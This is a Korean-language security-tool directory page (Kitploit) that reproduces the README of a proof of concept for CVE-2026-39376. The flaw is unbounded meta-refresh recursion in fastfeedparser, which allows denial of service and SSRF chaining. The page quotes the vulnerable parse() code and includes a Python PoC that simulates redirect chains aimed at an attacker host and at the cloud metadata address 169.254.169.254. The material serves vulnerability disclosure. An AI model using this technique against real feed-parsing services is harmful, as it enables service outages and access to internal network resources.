Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39376 — CVE-2026-39376에 대한 개념 증명(PoC)으로, fastfeedparser의 meta-refresh 체인을 통한 무한 리다이렉트 루프 서비스 거부(DoS)를 시연하며, SSRF 연계 가능성을 포함합니다. | Kitploit
도구/GitHubGitHub/redyank/cve-2026-39376
Vulnerability AnalysisExploitationWeb Security
GitHubredyank/cve-2026-39376

CVE-2026-39376

CVE-2026-39376에 대한 개념 증명(PoC)으로, fastfeedparser의 meta-refresh 체인을 통한 무한 리다이렉트 루프 서비스 거부(DoS)를 시연하며, SSRF 연계 가능성을 포함합니다.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39376

CVE-2026-39376(meta-refresh 체인을 통한 무한 리다이렉트 루프 DoS)

요약

parse()가 <meta http-equiv="refresh"> 태그를 포함한 HTML 페이지를 반환하는 URL을 가져올 때, 리다이렉트 URL로 자신을 재귀적으로 호출합니다 — 깊이 제한, 방문 URL 중복 제거, 리다이렉트 횟수 상한이 전혀 없습니다. 공격자가 제어하는 서버가 무한한 HTML meta-refresh 응답 체인을 반환하면 무제한 재귀가 발생하여 Python 호출 스택을 고갈시키고 프로세스를 중단시킵니다. 이 취약점은 초기 URL 검사를 우회한 후 내부 네트워크 대상에 도달하기 위해 동반 SSRF 문제와 연쇄적으로 악용될 수도 있습니다.

세부 사항

parse()는 XML 파싱 실패 시 ValueError를 포착하고, _extract_meta_refresh_url()을 통해 HTML 응답에서 meta-refresh URL을 추출한 다음 해당 URL로 자신을 꼬리 재귀 호출합니다. 재귀 호출은 무조건적입니다 — 최대 리다이렉트 깊이, 이미 방문한 URL 집합, 자기 참조 또는 순환 리다이렉트에 대한 방어 장치가 없습니다.

fastfeedparser/main.py — parse() (재귀 싱크):

root@kitploit:~
def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← 무조건 재귀, 깊이 제한 없음

_extract_meta_refresh_url()은 urljoin(base_url, match.group(1))을 사용하므로 content= 속성의 상대 URL, 프로토콜 상대 URL(//host/path), 절대 URL이 모두 추적됩니다.

PoC

실시간 서버가 필요하지 않습니다. 다음 코드는 _fetch_url_content를 monkeypatch하여 무한 HTML meta-refresh 체인을 반환하고 무제한 재귀를 확인합니다:

root@kitploit:~
import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

각 재귀 호출은 실제 HTTP 요청(30초 타임아웃), HTML 파싱, Python 스택 프레임 할당을 수행합니다. Python의 기본 재귀 한도 1000과 요청당 30초 타임아웃을 고려하면, 단일 공격자 요청으로 서버 스레드를 최대 약 8시간 동안 점유한 후 RecursionError가 발생할 수 있습니다.

SSRF 체인 변형: 첫 번째 응답이 내부 주소(http://192.168.1.1/)로 리다이렉트하는 정상적인 HTML일 수 있으며, 이로 인해 리다이렉트 루프가 초기 URL에만 적용되는 애플리케이션 수준 URL 검증으로 차단될 대상에 대한 SSRF 우회 수단으로도 작동할 수 있습니다.

영향

이것은 2차 SSRF 연쇄 영향을 가진 서비스 거부(DoS) 취약점입니다. 사용자가 제공한 피드 URL을 받아 fastfeedparser.parse()를 호출하는 모든 애플리케이션이 영향을 받습니다 — RSS 애그리게이터, 피드 미리보기 서비스, "URL로 구독" 기능을 포함합니다. 인증이 없는 공격자는 다음을 수행할 수 있습니다:

  • 서버 작업자 스레드를 무기한 점유 (공격자 연결당 하나의 요청)
  • 약 1000회 리다이렉트 후 RecursionError로 작업자 프로세스 중단
  • 리다이렉트 체인을 사용하여 SSRF 요청을 내부 네트워크 대상으로 전환
도구 다운로드